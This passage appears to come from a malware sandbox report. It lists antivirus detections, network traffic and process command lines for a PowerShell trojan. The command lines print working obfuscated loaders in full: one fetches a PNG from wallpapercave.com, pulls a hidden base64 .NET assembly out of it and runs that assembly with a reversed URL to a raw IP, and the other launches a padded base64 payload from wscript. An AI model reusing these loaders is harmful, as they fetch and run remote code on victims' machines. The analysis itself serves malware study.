XGiuçaOcqNP0AuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPByAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBDAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbwBhAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQBkAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPcwBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbQBiAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPeQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPUgBlAuPACDÇXGiuçaOcqNPGYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbgAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPcwBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbQBiAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPeQBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBMAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPYQBkAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPB0AuPACDÇXGiuçaOcqNPHkAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPQQBzAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRwBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPRgBpAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPZQByAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPSAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPbwBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEcAuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPE0AuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPbwBkAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJwBWAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPSQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPLgBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdgBvAuPACDÇXGiuçaOcqNPGsAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPbgB1AuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPWwBvAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPagBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPF0AuPACDÇXGiuçaOcqNPXQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJwBkAuPACDÇXGiuçaOcqNPEgAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPwAuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPbQAuPACDÇXGiuçaOcqNP1AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPWQBpAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPMAuPACDÇXGiuçaOcqNPBNAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPRQB5AuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPegBjAuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPTAuPACDÇXGiuçaOcqNPBqAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPdwBNAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPB6AuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPagBJAuPACDÇXGiuçaOcqNPDUAuPACDÇXGiuçaOcqNPTQBTAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPdgBPAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPQgAuPACDÇXGiuçaOcqNPwAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPRwBnAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNPyAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwByAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPZwBhAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPbQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPQwAuPACDÇXGiuçaOcqNP6AuPACDÇXGiuçaOcqNPFwAuPACDÇXGiuçaOcqNPVwBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPcwBcAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPXAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPawBjAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('AuPACDÇXGiuçaOcqNP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
| Kaspersky | HEUR:Trojan.Script.Generic |
| Data received | |
| Data received | F |
| Data sent | t pe/-pîcûæ`ù{ ®AR¶\e<ÉGÒ!ùé/ / 5 ÀÀÀ À 2 8 /ÿ wallpapercave.com |
| Data sent | t pe/-pµ%WAñî^*U¯ä?oÉùÑúaH9²¹å â / 5 ÀÀÀ À 2 8 /ÿ wallpapercave.com |
| parent_process | powershell.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4072801.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lm5pYi80MTEyLzc0LjgwMS4zLjI5MS8vOnB0dGg=' , '' , '2' , 'regasm' , '4' , 'C:\Windows\Temp\', 'hkcmd'))" | ||||||
| parent_process | wscript.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPVQByAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwBoAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBwAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPOgAuPACDÇXGiuçaOcqNPvAuPACDÇXGiuçaOcqNPC8AuPACDÇXGiuçaOcqNPdwBhAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBwAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPYwBhAuPACDÇXGiuçaOcqNPHYAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPbwBtAuPACDÇXGiuçaOcqNPC8AuPACDÇXGiuçaOcqNPdQB3AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLwB1AuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP0AuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPNwAuPACDÇXGiuçaOcqNPyAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPMAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPxAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBuAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPdwBlAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPQwBsAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPZQBuAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPTgBlAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPLQBPAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPagBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPTgBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBXAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPYgBDAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPaQBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPZQBiAuPACDÇXGiuçaOcqNPEMAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgB0AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPbgBsAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPYQBkAuPACDÇXGiuçaOcqNPEQAuPACDÇXGiuçaOcqNPYQB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPKAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBVAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEUAuPACDÇXGiuçaOcqNPbgBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBVAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPRgAuPACDÇXGiuçaOcqNP4AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRwBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPUwB0AuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPaQBuAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPKAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBCAuPACDÇXGiuçaOcqNPHkAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP8AuPACDÇXGiuçaOcqNPDwAuPACDÇXGiuçaOcqNPQgBBAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPRQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPXwBTAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPQQBSAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPPgAuPACDÇXGiuçaOcqNP+AuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP8AuPACDÇXGiuçaOcqNPDwAuPACDÇXGiuçaOcqNPQgBBAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPRQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPXwBFAuPACDÇXGiuçaOcqNPE4AuPACDÇXGiuçaOcqNPRAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP+AuPACDÇXGiuçaOcqNPD4AuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBUAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPB0AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPE8AuPACDÇXGiuçaOcqNPZgAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPZQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPTwBmAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBGAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCsAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPLgBMAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPYgBhAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPTAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPCAuPACDÇXGi